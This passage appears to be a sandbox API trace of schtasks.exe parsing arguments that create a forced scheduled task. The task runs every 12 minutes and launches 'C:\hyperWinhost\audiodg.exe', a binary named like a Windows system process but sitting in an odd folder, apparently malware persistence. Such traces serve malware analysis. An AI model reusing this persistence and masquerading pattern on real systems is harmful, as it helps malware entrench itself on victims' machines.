(dwErrCode=0x490) [0069.920] lstrlenW (lpString="showsid") returned 7 [0069.920] lstrlenW (lpString="showsid") returned 7 [0069.920] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.920] lstrlenW (lpString="sc") returned 2 [0069.920] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.920] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|showsid|") returned 9 [0069.920] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|sc|") returned 4 [0069.920] lstrlenW (lpString="|showsid|") returned 9 [0069.920] lstrlenW (lpString="|sc|") returned 4 [0069.920] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0069.920] SetLastError (dwErrCode=0x490) [0069.920] SetLastError (dwErrCode=0x490) [0069.921] SetLastError (dwErrCode=0x0) [0069.921] lstrlenW (lpString="/sc") returned 3 [0069.921] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0069.921] SetLastError (dwErrCode=0x490) [0069.921] SetLastError (dwErrCode=0x0) [0069.921] lstrlenW (lpString="/sc") returned 3 [0069.921] GetProcessHeap () returned 0x390000 [0069.921] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x8) returned 0x3ac390 [0069.921] GetProcessHeap () returned 0x390000 [0069.921] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acd70 [0069.921] SetLastError (dwErrCode=0x0) [0069.921] SetLastError (dwErrCode=0x0) [0069.921] lstrlenW (lpString="MINUTE") returned 6 [0069.921] lstrlenW (lpString="-/") returned 2 [0069.921] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0069.921] SetLastError (dwErrCode=0x490) [0069.921] SetLastError (dwErrCode=0x490) [0069.921] SetLastError (dwErrCode=0x0) [0069.921] lstrlenW (lpString="MINUTE") returned 6 [0069.921] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0069.921] SetLastError (dwErrCode=0x490) [0069.921] SetLastError (dwErrCode=0x0) [0069.921] lstrlenW (lpString="MINUTE") returned 6 [0069.921] GetProcessHeap () returned 0x390000 [0069.921] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xe) returned 0x3ac3b0 [0069.921] GetProcessHeap () returned 0x390000 [0069.921] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acda0 [0069.921] SetLastError (dwErrCode=0x0) [0069.921] SetLastError (dwErrCode=0x0) [0069.921] lstrlenW (lpString="/mo") returned 3 [0069.921] lstrlenW (lpString="-/") returned 2 [0069.921] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.921] lstrlenW (lpString="?") returned 1 [0069.921] lstrlenW (lpString="?") returned 1 [0069.921] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.921] lstrlenW (lpString="mo") returned 2 [0069.922] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.922] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|?|") returned 3 [0069.922] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|mo|") returned 4 [0069.922] lstrlenW (lpString="|?|") returned 3 [0069.922] lstrlenW (lpString="|mo|") returned 4 [0069.922] SetLastError (dwErrCode=0x490) [0069.922] lstrlenW (lpString="create") returned 6 [0069.922] lstrlenW (lpString="create") returned 6 [0069.922] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.922] lstrlenW (lpString="mo") returned 2 [0069.922] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.922] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|create|") returned 8 [0069.922] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|mo|") returned 4 [0069.922] lstrlenW (lpString="|create|") returned 8 [0069.922] lstrlenW (lpString="|mo|") returned 4 [0069.922] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0069.922] SetLastError (dwErrCode=0x490) [0069.922] lstrlenW (lpString="delete") returned 6 [0069.922] lstrlenW (lpString="delete") returned 6 [0069.922] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.922] lstrlenW (lpString="mo") returned 2 [0069.922] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.922] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|delete|") returned 8 [0069.922] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|mo|") returned 4 [0069.922] lstrlenW (lpString="|delete|") returned 8 [0069.922] lstrlenW (lpString="|mo|") returned 4 [0069.922] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0069.922] SetLastError (dwErrCode=0x490) [0069.922] lstrlenW (lpString="query") returned 5 [0069.922] lstrlenW (lpString="query") returned 5 [0069.922] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.923] lstrlenW (lpString="mo") returned 2 [0069.923] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.923] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|query|") returned 7 [0069.923] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|mo|") returned 4 [0069.923] lstrlenW (lpString="|query|") returned 7 [0069.923] lstrlenW (lpString="|mo|") returned 4 [0069.923] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0069.923] SetLastError (dwErrCode=0x490) [0069.923] lstrlenW (lpString="change") returned 6 [0069.923] lstrlenW (lpString="change") returned 6 [0069.923] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.923] lstrlenW (lpString="mo") returned 2 [0069.923] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.923] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|change|") returned 8 [0069.923] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|mo|") returned 4 [0069.923] lstrlenW (lpString="|change|") returned 8 [0069.923] lstrlenW (lpString="|mo|") returned 4 [0069.923] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0069.923] SetLastError (dwErrCode=0x490) [0069.923] lstrlenW (lpString="run") returned 3 [0069.923] lstrlenW (lpString="run") returned 3 [0069.923] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.923] lstrlenW (lpString="mo") returned 2 [0069.923] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.923] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|run|") returned 5 [0069.923] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|mo|") returned 4 [0069.923] lstrlenW (lpString="|run|") returned 5 [0069.923] lstrlenW (lpString="|mo|") returned 4 [0069.923] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0069.923] SetLastError (dwErrCode=0x490) [0069.924] lstrlenW (lpString="end") returned 3 [0069.924] lstrlenW (lpString="end") returned 3 [0069.924] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.924] lstrlenW (lpString="mo") returned 2 [0069.924] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.924] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|end|") returned 5 [0069.924] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|mo|") returned 4 [0069.924] lstrlenW (lpString="|end|") returned 5 [0069.924] lstrlenW (lpString="|mo|") returned 4 [0069.924] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0069.924] SetLastError (dwErrCode=0x490) [0069.924] lstrlenW (lpString="showsid") returned 7 [0069.924] lstrlenW (lpString="showsid") returned 7 [0069.924] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.924] lstrlenW (lpString="mo") returned 2 [0069.924] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.924] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|showsid|") returned 9 [0069.924] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|mo|") returned 4 [0069.924] lstrlenW (lpString="|showsid|") returned 9 [0069.924] lstrlenW (lpString="|mo|") returned 4 [0069.924] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0069.924] SetLastError (dwErrCode=0x490) [0069.924] SetLastError (dwErrCode=0x490) [0069.924] SetLastError (dwErrCode=0x0) [0069.924] lstrlenW (lpString="/mo") returned 3 [0069.924] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0069.924] SetLastError (dwErrCode=0x490) [0069.924] SetLastError (dwErrCode=0x0) [0069.924] lstrlenW (lpString="/mo") returned 3 [0069.924] GetProcessHeap () returned 0x390000 [0069.924] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x8) returned 0x3ac3d0 [0069.924] GetProcessHeap () returned 0x390000 [0069.925] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acdd0 [0069.925] SetLastError (dwErrCode=0x0) [0069.925] SetLastError (dwErrCode=0x0) [0069.925] lstrlenW (lpString="12") returned 2 [0069.925] lstrlenW (lpString="-/") returned 2 [0069.925] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0069.925] SetLastError (dwErrCode=0x490) [0069.925] SetLastError (dwErrCode=0x490) [0069.925] SetLastError (dwErrCode=0x0) [0069.925] lstrlenW (lpString="12") returned 2 [0069.925] StrChrIW (lpStart="12", wMatch=0x3a) returned 0x0 [0069.925] SetLastError (dwErrCode=0x490) [0069.925] SetLastError (dwErrCode=0x0) [0069.925] lstrlenW (lpString="12") returned 2 [0069.925] GetProcessHeap () returned 0x390000 [0069.925] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x6) returned 0x3ac3f0 [0069.925] GetProcessHeap () returned 0x390000 [0069.925] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3ace00 [0069.925] SetLastError (dwErrCode=0x0) [0069.925] SetLastError (dwErrCode=0x0) [0069.925] lstrlenW (lpString="/tr") returned 3 [0069.925] lstrlenW (lpString="-/") returned 2 [0069.925] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.925] lstrlenW (lpString="?") returned 1 [0069.925] lstrlenW (lpString="?") returned 1 [0069.925] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.925] lstrlenW (lpString="tr") returned 2 [0069.925] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.925] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|?|") returned 3 [0069.925] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|tr|") returned 4 [0069.925] lstrlenW (lpString="|?|") returned 3 [0069.925] lstrlenW (lpString="|tr|") returned 4 [0069.925] SetLastError (dwErrCode=0x490) [0069.925] lstrlenW (lpString="create") returned 6 [0069.926] lstrlenW (lpString="create") returned 6 [0069.926] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.926] lstrlenW (lpString="tr") returned 2 [0069.926] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.926] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|create|") returned 8 [0069.926] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|tr|") returned 4 [0069.926] lstrlenW (lpString="|create|") returned 8 [0069.926] lstrlenW (lpString="|tr|") returned 4 [0069.926] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0069.926] SetLastError (dwErrCode=0x490) [0069.926] lstrlenW (lpString="delete") returned 6 [0069.926] lstrlenW (lpString="delete") returned 6 [0069.926] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.926] lstrlenW (lpString="tr") returned 2 [0069.926] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.926] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|delete|") returned 8 [0069.926] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|tr|") returned 4 [0069.926] lstrlenW (lpString="|delete|") returned 8 [0069.926] lstrlenW (lpString="|tr|") returned 4 [0069.926] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0069.926] SetLastError (dwErrCode=0x490) [0069.926] lstrlenW (lpString="query") returned 5 [0069.926] lstrlenW (lpString="query") returned 5 [0069.926] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.926] lstrlenW (lpString="tr") returned 2 [0069.926] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.926] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|query|") returned 7 [0069.926] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|tr|") returned 4 [0069.926] lstrlenW (lpString="|query|") returned 7 [0069.926] lstrlenW (lpString="|tr|") returned 4 [0069.926] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0069.927] SetLastError (dwErrCode=0x490) [0069.927] lstrlenW (lpString="change") returned 6 [0069.927] lstrlenW (lpString="change") returned 6 [0069.927] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.927] lstrlenW (lpString="tr") returned 2 [0069.927] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.927] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|change|") returned 8 [0069.927] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|tr|") returned 4 [0069.927] lstrlenW (lpString="|change|") returned 8 [0069.927] lstrlenW (lpString="|tr|") returned 4 [0069.927] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0069.928] SetLastError (dwErrCode=0x490) [0069.928] lstrlenW (lpString="run") returned 3 [0069.928] lstrlenW (lpString="run") returned 3 [0069.928] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.928] lstrlenW (lpString="tr") returned 2 [0069.928] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.928] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|run|") returned 5 [0069.928] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|tr|") returned 4 [0069.928] lstrlenW (lpString="|run|") returned 5 [0069.928] lstrlenW (lpString="|tr|") returned 4 [0069.928] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0069.929] SetLastError (dwErrCode=0x490) [0069.929] lstrlenW (lpString="end") returned 3 [0069.929] lstrlenW (lpString="end") returned 3 [0069.929] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.929] lstrlenW (lpString="tr") returned 2 [0069.929] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.929] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|end|") returned 5 [0069.929] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|tr|") returned 4 [0069.929] lstrlenW (lpString="|end|") returned 5 [0069.929] lstrlenW (lpString="|tr|") returned 4 [0069.929] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0069.929] SetLastError (dwErrCode=0x490) [0069.929] lstrlenW (lpString="showsid") returned 7 [0069.929] lstrlenW (lpString="showsid") returned 7 [0069.929] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.929] lstrlenW (lpString="tr") returned 2 [0069.929] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.929] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|showsid|") returned 9 [0069.929] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|tr|") returned 4 [0069.929] lstrlenW (lpString="|showsid|") returned 9 [0069.929] lstrlenW (lpString="|tr|") returned 4 [0069.929] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0069.929] SetLastError (dwErrCode=0x490) [0069.929] SetLastError (dwErrCode=0x490) [0069.929] SetLastError (dwErrCode=0x0) [0069.929] lstrlenW (lpString="/tr") returned 3 [0069.929] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0069.929] SetLastError (dwErrCode=0x490) [0069.929] SetLastError (dwErrCode=0x0) [0069.930] lstrlenW (lpString="/tr") returned 3 [0069.930] GetProcessHeap () returned 0x390000 [0069.930] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x8) returned 0x3ac410 [0069.930] GetProcessHeap () returned 0x390000 [0069.930] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3ace30 [0069.930] SetLastError (dwErrCode=0x0) [0069.930] SetLastError (dwErrCode=0x0) [0069.930] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0069.930] lstrlenW (lpString="-/") returned 2 [0069.930] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0069.930] SetLastError (dwErrCode=0x490) [0069.930] SetLastError (dwErrCode=0x490) [0069.930] SetLastError (dwErrCode=0x0) [0069.930] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0069.930] StrChrIW (lpStart="'C:\\hyperWinhost\\audiodg.exe'", wMatch=0x3a) returned=":\\hyperWinhost\\audiodg.exe'" [0069.930] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0069.930] GetProcessHeap () returned 0x390000 [0069.930] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3ac430 [0069.930] _memicmp (_Buf1=0x3ac430, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.930] GetProcessHeap () returned 0x390000 [0069.930] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xe) returned 0x3ac450 [0069.930] GetProcessHeap () returned 0x390000 [0069.930] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3ad600 [0069.930] _memicmp (_Buf1=0x3ad600, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.930] GetProcessHeap () returned 0x390000 [0069.930] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x3e) returned 0x3a9430 [0069.930] SetLastError (dwErrCode=0x7a) [0069.930] SetLastError (dwErrCode=0x0) [0069.930] SetLastError (dwErrCode=0x0) [0069.931] lstrlenW (lpString="'C") returned 2 [0069.931] lstrlenW (lpString="-/") returned 2 [0069.931] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0069.931] SetLastError (dwErrCode=0x490) [0069.931] SetLastError (dwErrCode=0x490) [0069.931] SetLastError (dwErrCode=0x0) [0069.931] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0069.931] GetProcessHeap () returned 0x390000 [0069.931] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x3c) returned 0x3a9480 [0069.931] GetProcessHeap () returned 0x390000 [0069.931] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3ace60 [0069.931] SetLastError (dwErrCode=0x0) [0069.931] SetLastError (dwErrCode=0x0) [0069.931] lstrlenW (lpString="/f") returned 2 [0069.931] lstrlenW (lpString="-/") returned 2 [0069.931] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.931] lstrlenW (lpString="?") returned 1 [0069.931] lstrlenW (lpString="?") returned 1 [0069.931] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.931] lstrlenW (lpString="f") returned 1 [0069.931] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.931] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|?|") returned 3 [0069.931] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|f|") returned 3 [0069.931] lstrlenW (lpString="|?|") returned 3 [0069.931] lstrlenW (lpString="|f|") returned 3 [0069.931] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0069.931] SetLastError (dwErrCode=0x490) [0069.931] lstrlenW (lpString="create") returned 6 [0069.931] lstrlenW (lpString="create") returned 6 [0069.931] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.931] lstrlenW (lpString="f") returned 1 [0069.932] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.932] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|create|") returned 8 [0069.932] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|f|") returned 3 [0069.932] lstrlenW (lpString="|create|") returned 8 [0069.932] lstrlenW (lpString="|f|") returned 3 [0069.932] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0069.932] SetLastError (dwErrCode=0x490) [0069.932] lstrlenW (lpString="delete") returned 6 [0069.932] lstrlenW (lpString="delete") returned 6 [0069.932] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.932] lstrlenW (lpString="f") returned 1 [0069.932] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.932] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|delete|") returned 8 [0069.932] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|f|") returned 3 [0069.932] lstrlenW (lpString="|delete|") returned 8 [0069.932] lstrlenW (lpString="|f|") returned 3 [0069.932] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0069.932] SetLastError (dwErrCode=0x490) [0069.932] lstrlenW (lpString="query") returned 5 [0069.932] lstrlenW (lpString="query") returned 5 [0069.932] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.932] lstrlenW (lpString="f") returned 1 [0069.932] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.932] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|query|") returned 7 [0069.932] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|f|") returned 3 [0069.932] lstrlenW (lpString="|query|") returned 7 [0069.932] lstrlenW (lpString="|f|") returned 3 [0069.932] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0069.933] SetLastError (dwErrCode=0x490) [0069.933] lstrlenW (lpString="change") returned 6 [0069.933] lstrlenW (lpString="change") returned 6 [0069.933] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.933] lstrlenW (lpString="f") returned 1 [0069.933] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.933] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|change|") returned 8 [0069.933] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|f|") returned 3 [0069.933] lstrlenW (lpString="|change|") returned 8 [0069.933] lstrlenW (lpString="|f|") returned 3 [0069.933] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0069.933] SetLastError (dwErrCode=0x490) [0069.933] lstrlenW (lpString="run") returned 3 [0069.933] lstrlenW (lpString="run") returned 3 [0069.933] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.933] lstrlenW (lpString="f") returned 1 [0069.933] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.933] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|run|") returned 5 [0069.933] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|f|") returned 3 [0069.933] lstrlenW (lpString="|run|") returned 5 [0069.933] lstrlenW (lpString="|f|") returned 3 [0069.933] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0069.933] SetLastError (dwErrCode=0x490) [0069.933] lstrlenW (lpString="end") returned 3 [0069.933] lstrlenW (lpString="end") returned 3 [0069.933] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.933] lstrlenW (lpString="f") returned 1 [0069.933] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.933] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|end|") returned 5 [0069.934] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|f|") returned 3 [0069.934] lstrlenW (lpString="|end|") returned 5 [0069.934] lstrlenW (lpString="|f|") returned 3 [0069.934] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0069.934] SetLastError (dwErrCode=0x490) [0069.934] lstrlenW (lpString="showsid") returned 7 [0069.934] lstrlenW (lpString="showsid") returned 7 [0069.934] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.934] lstrlenW (lpString="f") returned 1 [0069.934] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.934] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|showsid|") returned 9 [0069.934] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|f|") returned 3 [0069.934] 